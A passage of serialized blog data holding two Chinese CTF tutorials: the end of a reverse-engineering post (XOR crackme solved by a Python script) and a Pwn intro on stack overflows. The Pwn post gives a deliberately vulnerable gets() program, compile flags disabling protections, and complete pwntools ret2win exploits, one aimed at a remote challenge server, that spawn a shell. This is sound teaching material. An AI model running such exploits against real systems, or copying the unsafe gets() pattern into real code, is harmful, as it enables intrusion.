a",[1331,2547,2548,2551,2554],{},[1349,2549,2550],{},"GDB",[1349,2552,2553],{},"断点、运行、看内存/寄存器",[1349,2555,2556,1728,2559,1728,2562],{},[26,2557,2558],{},"break check",[26,2560,2561],{},"run",[26,2563,2564],{},"x/20i $rip",[15,2566,2567,2568,2570,2571,2574],{},"另：Ghidra 负责把汇编还原成伪代码；",[26,2569,2447],{},"/",[26,2572,2573],{},"strace"," 负责快速跟踪函数与系统调用。",[10,2576,2578],{"id":2577},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,2580,2581,2582,2585],{},"题目：",[26,2583,2584],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[76,2587,2589],{"id":2588},"第一步侦查","第一步：侦查",[15,2591,2592,2594],{},[67,2593,251],{},"：先找密钥与提示。",[15,2596,2597,178,2599,2601,2602,2604,2605,2607],{},[67,2598,261],{},[26,2600,1674],{}," 默认漏掉短串，所以用 ",[26,2603,1742],{},"；看到 ",[26,2606,1738],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[19,2609,2611],{"className":82,"code":2610,"language":84,"meta":24,"style":24},"strings -n 3 crackme\n",[26,2612,2613],{"__ignoreMap":24},[29,2614,2615,2617,2619,2621],{"class":31,"line":32},[29,2616,1674],{"class":91},[29,2618,1706],{"class":116},[29,2620,1709],{"class":116},[29,2622,2623],{"class":95}," crackme\n",[15,2625,2626,2627,2629],{},"预期输出中有 ",[26,2628,1738],{},"——疑似密钥。",[76,2631,2633],{"id":2632},"第二步反编译-check","第二步：反编译 check",[15,2635,2636,2638],{},[67,2637,251],{},"：确认密钥如何使用、密文数组是什么。",[15,2640,2641,2643,2644,2647],{},[67,2642,2096],{},"：伪代码 ",[26,2645,2646],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,2649,2650,2651,2653],{},"用 Ghidra 打开，",[26,2652,2003],{}," 伪代码：",[19,2655,2657],{"className":2262,"code":2656,"language":684,"meta":24,"style":24},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[26,2658,2659],{"__ignoreMap":24},[29,2660,2661],{"class":31,"line":32},[29,2662,2656],{},[76,2664,2666],{"id":2665},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,2668,2669,2671],{},[67,2670,251],{},"：把\"加密\"反过来算，得到明文。",[15,2673,2674,2676,2677,2680],{},[67,2675,261],{},"：异或的自反性 ",[26,2678,2679],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[19,2682,2684],{"className":721,"code":2683,"language":723,"meta":24,"style":24},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[26,2685,2686,2691,2696,2701,2706,2711,2716,2721,2726,2731,2736,2741],{"__ignoreMap":24},[29,2687,2688],{"class":31,"line":32},[29,2689,2690],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[29,2692,2693],{"class":31,"line":38},[29,2694,2695],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[29,2697,2698],{"class":31,"line":111},[29,2699,2700],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[29,2702,2703],{"class":31,"line":157},[29,2704,2705],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[29,2707,2708],{"class":31,"line":163},[29,2709,2710],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[29,2712,2713],{"class":31,"line":169},[29,2714,2715],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[29,2717,2718],{"class":31,"line":215},[29,2719,2720],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[29,2722,2723],{"class":31,"line":221},[29,2724,2725],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[29,2727,2728],{"class":31,"line":227},[29,2729,2730],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[29,2732,2733],{"class":31,"line":773},[29,2734,2735],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[29,2737,2738],{"class":31,"line":779},[29,2739,2740],{},"print(flag.decode())\n",[29,2742,2743],{"class":31,"line":785},[29,2744,2745],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,2747,1762],{},[19,2749,2752],{"className":2750,"code":2751,"language":300,"meta":24},[298],"ctf{reverse_engineering}\n",[26,2753,2751],{"__ignoreMap":24},[76,2755,2757],{"id":2756},"第四步验证","第四步：验证",[19,2759,2761],{"className":82,"code":2760,"language":84,"meta":24,"style":24},"./crackme ctf{reverse_engineering}\n",[26,2762,2763],{"__ignoreMap":24},[29,2764,2765,2768],{"class":31,"line":32},[29,2766,2767],{"class":91},"./crackme",[29,2769,2770],{"class":95}," ctf{reverse_engineering}\n",[15,2772,1762,2773,127],{},[26,2774,1731],{},[10,2776,2778],{"id":2777},"八小结","八、小结",[15,2780,2781,2782,2570,2784,2786,2787,2789],{},"逆向入门三步：",[26,2783,1631],{},[26,2785,1674],{}," 侦查 → ",[26,2788,1828],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1463,2791,2792],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":24,"searchDepth":38,"depth":38,"links":2794},[2795,2796,2797,2798,2799,2800,2801,2802],{"id":1499,"depth":111,"text":1500},{"id":1561,"depth":111,"text":1562},{"id":1603,"depth":111,"text":1604},{"id":1789,"depth":111,"text":1790},{"id":2291,"depth":111,"text":2292},{"id":2482,"depth":111,"text":2483},{"id":2577,"depth":111,"text":2578},{"id":2777,"depth":111,"text":2778},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":1480,"image":2805,"alt":2806,"tags":2807,"published":740},"/blogs-img/blog1.png","CTF 逆向入门",[550,2808,1486],"reverse","/blogs/ctf-reverse-overview",{"title":1494,"description":2803},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":2814,"title":2815,"body":2816,"description":3677,"extension":1478,"meta":3678,"navigation":740,"ogImage":3679,"path":3682,"seo":3683,"stem":3684,"__hash__":3685},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":2817,"toc":3665},[2818,2822,2829,2835,2837,2839,2866,2870,2876,2970,2973,3009,3013,3018,3023,3025,3041,3043,3049,3052,3110,3114,3120,3126,3133,3202,3207,3211,3215,3253,3255,3261,3265,3273,3283,3292,3296,3341,3351,3355,3360,3365,3434,3437,3443,3454,3458,3533,3537,3545,3548,3560,3571,3576,3581,3638,3640,3646,3650,3662],[10,2819,2821],{"id":2820},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,2823,2824,2825,2828],{},"C 语言函数 ",[26,2826,2827],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,2830,2831,2832,127],{},"本文只讲一条主线：",[67,2833,2834],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,2836,1562],{"id":1561},[15,2838,1565],{},[19,2840,2842],{"className":82,"code":2841,"language":84,"meta":24,"style":24},"apt install gcc gdb\npip3 install pwntools\n",[26,2843,2844,2856],{"__ignoreMap":24},[29,2845,2846,2848,2850,2853],{"class":31,"line":32},[29,2847,1575],{"class":91},[29,2849,1578],{"class":95},[29,2851,2852],{"class":95}," gcc",[29,2854,2855],{"class":95}," gdb\n",[29,2857,2858,2861,2863],{"class":31,"line":38},[29,2859,2860],{"class":91},"pip3",[29,2862,1578],{"class":95},[29,2864,2865],{"class":95}," pwntools\n",[10,2867,2869],{"id":2868},"三漏洞程序与编译","三、漏洞程序与编译",[15,2871,2872,2873,178],{},"保存 ",[26,2874,2875],{},"vuln.c",[19,2877,2879],{"className":2262,"code":2878,"language":684,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[26,2880,2881,2886,2891,2895,2900,2905,2909,2913,2918,2923,2928,2932,2936,2941,2946,2951,2956,2961,2966],{"__ignoreMap":24},[29,2882,2883],{"class":31,"line":32},[29,2884,2885],{},"#include \u003Cstdio.h>\n",[29,2887,2888],{"class":31,"line":38},[29,2889,2890],{},"#include \u003Cstdlib.h>\n",[29,2892,2893],{"class":31,"line":111},[29,2894,741],{"emptyLinePlaceholder":740},[29,2896,2897],{"class":31,"line":157},[29,2898,2899],{},"void win() {\n",[29,2901,2902],{"class":31,"line":163},[29,2903,2904],{},"    system(\"/bin/sh\");\n",[29,2906,2907],{"class":31,"line":169},[29,2908,224],{},[29,2910,2911],{"class":31,"line":215},[29,2912,741],{"emptyLinePlaceholder":740},[29,2914,2915],{"class":31,"line":221},[29,2916,2917],{},"void vuln() {\n",[29,2919,2920],{"class":31,"line":227},[29,2921,2922],{},"    char buf[32];\n",[29,2924,2925],{"class":31,"line":773},[29,2926,2927],{},"    gets(buf);\n",[29,2929,2930],{"class":31,"line":779},[29,2931,224],{},[29,2933,2934],{"class":31,"line":785},[29,2935,741],{"emptyLinePlaceholder":740},[29,2937,2938],{"class":31,"line":791},[29,2939,2940],{},"int main() {\n",[29,2942,2943],{"class":31,"line":797},[29,2944,2945],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[29,2947,2948],{"class":31,"line":803},[29,2949,2950],{},"    puts(\"Hello, what's your name?\");\n",[29,2952,2953],{"class":31,"line":809},[29,2954,2955],{},"    vuln();\n",[29,2957,2958],{"class":31,"line":815},[29,2959,2960],{},"    puts(\"Bye!\");\n",[29,2962,2963],{"class":31,"line":821},[29,2964,2965],{},"    return 0;\n",[29,2967,2968],{"class":31,"line":827},[29,2969,224],{},[15,2971,2972],{},"编译（关闭金丝雀和 PIE，方便入门）：",[19,2974,2976],{"className":82,"code":2975,"language":84,"meta":24,"style":24},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[26,2977,2978,2998,3004],{"__ignoreMap":24},[29,2979,2980,2983,2986,2989,2992,2995],{"class":31,"line":32},[29,2981,2982],{"class":91},"gcc",[29,2984,2985],{"class":116}," -o",[29,2987,2988],{"class":95}," vuln",[29,2990,2991],{"class":95}," vuln.c",[29,2993,2994],{"class":116}," -fno-stack-protector",[29,2996,2997],{"class":116}," -no-pie\n",[29,2999,3000],{"class":31,"line":38},[29,3001,3003],{"class":3002},"shSDL","# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[29,3005,3006],{"class":31,"line":111},[29,3007,3008],{"class":3002},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,3010,3012],{"id":3011},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,3014,3015,3017],{},[67,3016,251],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,3019,3020,3022],{},[67,3021,261],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,3024,1621],{},[19,3026,3028],{"className":82,"code":3027,"language":84,"meta":24,"style":24},"pwn checksec ./vuln\n",[26,3029,3030],{"__ignoreMap":24},[29,3031,3032,3035,3038],{"class":31,"line":32},[29,3033,3034],{"class":91},"pwn",[29,3036,3037],{"class":95}," checksec",[29,3039,3040],{"class":95}," ./vuln\n",[15,3042,294],{},[19,3044,3047],{"className":3045,"code":3046,"language":300,"meta":24},[298],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[26,3048,3046],{"__ignoreMap":24},[15,3050,3051],{},"只看三行：",[1325,3053,3054,3066],{},[1328,3055,3056],{},[1331,3057,3058,3061,3063],{},[1334,3059,3060],{},"行",[1334,3062,1955],{},[1334,3064,3065],{},"对我们意味着什么",[1344,3067,3068,3081,3094],{},[1331,3069,3070,3075,3078],{},[1349,3071,3072],{},[26,3073,3074],{},"Stack: No canary found",[1349,3076,3077],{},"没有栈金丝雀",[1349,3079,3080],{},"可以直接覆盖返回地址",[1331,3082,3083,3088,3091],{},[1349,3084,3085],{},[26,3086,3087],{},"NX: NX enabled",[1349,3089,3090],{},"栈不可执行",[1349,3092,3093],{},"不能放 shellcode（本阶段先不管）",[1331,3095,3096,3101,3104],{},[1349,3097,3098],{},[26,3099,3100],{},"PIE: No PIE",[1349,3102,3103],{},"程序地址固定",[1349,3105,3106,3109],{},[26,3107,3108],{},"win"," 的地址可以直接写进 payload",[10,3111,3113],{"id":3112},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,3115,3116,3119],{},[26,3117,3118],{},"vuln"," 被调用时栈上自低到高：",[19,3121,3124],{"className":3122,"code":3123,"language":300,"meta":24},[298],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[26,3125,3123],{"__ignoreMap":24},[15,3127,3128,3129,3132],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[26,3130,3131],{},"cyclic"," 验证：",[19,3134,3136],{"className":721,"code":3135,"language":723,"meta":24,"style":24},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[26,3137,3138,3143,3147,3152,3157,3162,3167,3172,3177,3182,3187,3192,3197],{"__ignoreMap":24},[29,3139,3140],{"class":31,"line":32},[29,3141,3142],{},"from pwn import *\n",[29,3144,3145],{"class":31,"line":38},[29,3146,741],{"emptyLinePlaceholder":740},[29,3148,3149],{"class":31,"line":111},[29,3150,3151],{},"p = process('./vuln')\n",[29,3153,3154],{"class":31,"line":157},[29,3155,3156],{},"p.sendline(cyclic(200))\n",[29,3158,3159],{"class":31,"line":163},[29,3160,3161],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[29,3163,3164],{"class":31,"line":169},[29,3165,3166],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[29,3168,3169],{"class":31,"line":215},[29,3170,3171],{},"p.wait()\n",[29,3173,3174],{"class":31,"line":221},[29,3175,3176],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[29,3178,3179],{"class":31,"line":227},[29,3180,3181],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[29,3183,3184],{"class":31,"line":773},[29,3185,3186],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[29,3188,3189],{"class":31,"line":779},[29,3190,3191],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[29,3193,3194],{"class":31,"line":785},[29,3195,3196],{},"print(offset)\n",[29,3198,3199],{"class":31,"line":791},[29,3200,3201],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,3203,294,3204,127],{},[26,3205,3206],{},"40",[10,3208,3210],{"id":3209},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[76,3212,3214],{"id":3213},"api-1elf读符号地址","API 1：ELF——读符号地址",[19,3216,3218],{"className":721,"code":3217,"language":723,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[26,3219,3220,3224,3228,3233,3238,3243,3248],{"__ignoreMap":24},[29,3221,3222],{"class":31,"line":32},[29,3223,3142],{},[29,3225,3226],{"class":31,"line":38},[29,3227,741],{"emptyLinePlaceholder":740},[29,3229,3230],{"class":31,"line":111},[29,3231,3232],{},"elf = ELF('./vuln')\n",[29,3234,3235],{"class":31,"line":157},[29,3236,3237],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[29,3239,3240],{"class":31,"line":163},[29,3241,3242],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[29,3244,3245],{"class":31,"line":169},[29,3246,3247],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[29,3249,3250],{"class":31,"line":215},[29,3251,3252],{},"print(hex(elf.symbols['win']))\n",[15,3254,294],{},[19,3256,3259],{"className":3257,"code":3258,"language":300,"meta":24},[298],"0x401176\n",[26,3260,3258],{"__ignoreMap":24},[76,3262,3264],{"id":3263},"api-2process启动程序","API 2：process——启动程序",[19,3266,3267],{"className":721,"code":3151,"language":723,"meta":24,"style":24},[26,3268,3269],{"__ignoreMap":24},[29,3270,3271],{"class":31,"line":32},[29,3272,3151],{},[15,3274,3275,3276,1728,3279,3282],{},"启动本地进程，之后用 ",[26,3277,3278],{},"p.sendline()",[26,3280,3281],{},"p.recvuntil()"," 交互。远程题目改成：",[19,3284,3286],{"className":721,"code":3285,"language":723,"meta":24,"style":24},"p = remote('1.2.3.4', 10001)\n",[26,3287,3288],{"__ignoreMap":24},[29,3289,3290],{"class":31,"line":32},[29,3291,3285],{},[76,3293,3295],{"id":3294},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[19,3297,3299],{"className":721,"code":3298,"language":723,"meta":24,"style":24},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[26,3300,3301,3306,3311,3316,3321,3326,3331,3336],{"__ignoreMap":24},[29,3302,3303],{"class":31,"line":32},[29,3304,3305],{},"payload = b'A' * 40 + p64(0x401176)\n",[29,3307,3308],{"class":31,"line":38},[29,3309,3310],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[29,3312,3313],{"class":31,"line":111},[29,3314,3315],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[29,3317,3318],{"class":31,"line":157},[29,3319,3320],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[29,3322,3323],{"class":31,"line":163},[29,3324,3325],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[29,3327,3328],{"class":31,"line":169},[29,3329,3330],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[29,3332,3333],{"class":31,"line":215},[29,3334,3335],{},"p.sendline(payload)\n",[29,3337,3338],{"class":31,"line":221},[29,3339,3340],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,3342,3343,3346,3347,3350],{},[26,3344,3345],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[26,3348,3349],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,3352,3354],{"id":3353},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,3356,3357,3359],{},[67,3358,251],{},"：把前三步串成完整 exploit。",[15,3361,3362,3364],{},[67,3363,261],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[19,3366,3368],{"className":721,"code":3367,"language":723,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[26,3369,3370,3374,3378,3382,3386,3390,3395,3400,3405,3410,3414,3419,3424,3429],{"__ignoreMap":24},[29,3371,3372],{"class":31,"line":32},[29,3373,3142],{},[29,3375,3376],{"class":31,"line":38},[29,3377,741],{"emptyLinePlaceholder":740},[29,3379,3380],{"class":31,"line":111},[29,3381,3232],{},[29,3383,3384],{"class":31,"line":157},[29,3385,3151],{},[29,3387,3388],{"class":31,"line":163},[29,3389,741],{"emptyLinePlaceholder":740},[29,3391,3392],{"class":31,"line":169},[29,3393,3394],{},"p.recvuntil(b'name?')\n",[29,3396,3397],{"class":31,"line":215},[29,3398,3399],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[29,3401,3402],{"class":31,"line":221},[29,3403,3404],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[29,3406,3407],{"class":31,"line":227},[29,3408,3409],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[29,3411,3412],{"class":31,"line":773},[29,3413,3335],{},[29,3415,3416],{"class":31,"line":779},[29,3417,3418],{},"# 触发溢出：覆盖返回地址为 win。\n",[29,3420,3421],{"class":31,"line":785},[29,3422,3423],{},"p.interactive()\n",[29,3425,3426],{"class":31,"line":791},[29,3427,3428],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[29,3430,3431],{"class":31,"line":797},[29,3432,3433],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,3435,3436],{},"预期结果：",[19,3438,3441],{"className":3439,"code":3440,"language":300,"meta":24},[298],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[26,3442,3440],{"__ignoreMap":24},[15,3444,3445,3446,3449,3450,3453],{},"程序跳到了 ",[26,3447,3448],{},"win()","，执行 ",[26,3451,3452],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,3455,3457],{"id":3456},"八必学工具","八、必学工具",[1325,3459,3460,3472],{},[1328,3461,3462],{},[1331,3463,3464,3466,3469],{},[1334,3465,2492],{},[1334,3467,3468],{},"3 个核心功能",[1334,3470,3471],{},"示例",[1344,3473,3474,3501,3514],{},[1331,3475,3476,3479,3498],{},[1349,3477,3478],{},"pwntools",[1349,3480,3481,3484,3485,2570,3487,3490,3491,3493,3494,3497],{},[26,3482,3483],{},"ELF()"," 读符号、",[26,3486,3131],{},[26,3488,3489],{},"cyclic_find"," 找偏移、",[26,3492,3345],{},"+",[26,3495,3496],{},"sendline"," 构造发送",[1349,3499,3500],{},"见上文",[1331,3502,3503,3506,3509],{},[1349,3504,3505],{},"checksec",[1349,3507,3508],{},"查看栈保护、NX、PIE",[1349,3510,3511],{},[26,3512,3513],{},"pwn checksec ./vuln",[1331,3515,3516,3519,3522],{},[1349,3517,3518],{},"GDB（+pwndbg）",[1349,3520,3521],{},"断点、看栈、单步",[1349,3523,3524,1728,3527,1728,3530],{},[26,3525,3526],{},"break vuln",[26,3528,3529],{},"x/20gx $rsp",[26,3531,3532],{},"continue",[10,3534,3536],{"id":3535},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,3538,2581,3539,3542,3543,127],{},[26,3540,3541],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[26,3544,3118],{},[15,3546,3547],{},"第一步，本地验证：",[19,3549,3551],{"className":82,"code":3550,"language":84,"meta":24,"style":24},"python3 exploit.py\n",[26,3552,3553],{"__ignoreMap":24},[29,3554,3555,3557],{"class":31,"line":32},[29,3556,1308],{"class":91},[29,3558,3559],{"class":95}," exploit.py\n",[15,3561,3562,3563,3566,3567,3570],{},"第二步，把 ",[26,3564,3565],{},"process('./vuln')"," 改成 ",[26,3568,3569],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,3572,3573,3575],{},[67,3574,251],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,3577,3578,3580],{},[67,3579,2096],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[19,3582,3584],{"className":721,"code":3583,"language":723,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[26,3585,3586,3590,3594,3598,3602,3607,3612,3616,3620,3624,3629,3634],{"__ignoreMap":24},[29,3587,3588],{"class":31,"line":32},[29,3589,3142],{},[29,3591,3592],{"class":31,"line":38},[29,3593,741],{"emptyLinePlaceholder":740},[29,3595,3596],{"class":31,"line":111},[29,3597,3232],{},[29,3599,3600],{"class":31,"line":157},[29,3601,3285],{},[29,3603,3604],{"class":31,"line":163},[29,3605,3606],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[29,3608,3609],{"class":31,"line":169},[29,3610,3611],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[29,3613,3614],{"class":31,"line":215},[29,3615,741],{"emptyLinePlaceholder":740},[29,3617,3618],{"class":31,"line":221},[29,3619,3409],{},[29,3621,3622],{"class":31,"line":227},[29,3623,3335],{},[29,3625,3626],{"class":31,"line":773},[29,3627,3628],{},"p.sendline(b'cat flag')\n",[29,3630,3631],{"class":31,"line":779},[29,3632,3633],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[29,3635,3636],{"class":31,"line":785},[29,3637,3423],{},[15,3639,294],{},[19,3641,3644],{"className":3642,"code":3643,"language":300,"meta":24},[298],"flag{ret2win}\n",[26,3645,3643],{"__ignoreMap":24},[10,3647,3649],{"id":3648},"十小结","十、小结",[15,3651,3652,3653,3655,3656,3658,3659,3661],{},"Pwn 入门主线：",[26,3654,3505],{}," 判断能不能直接打 → ",[26,3657,3131],{}," 确定偏移 → ",[26,3660,3345],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1463,3663,3664],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki 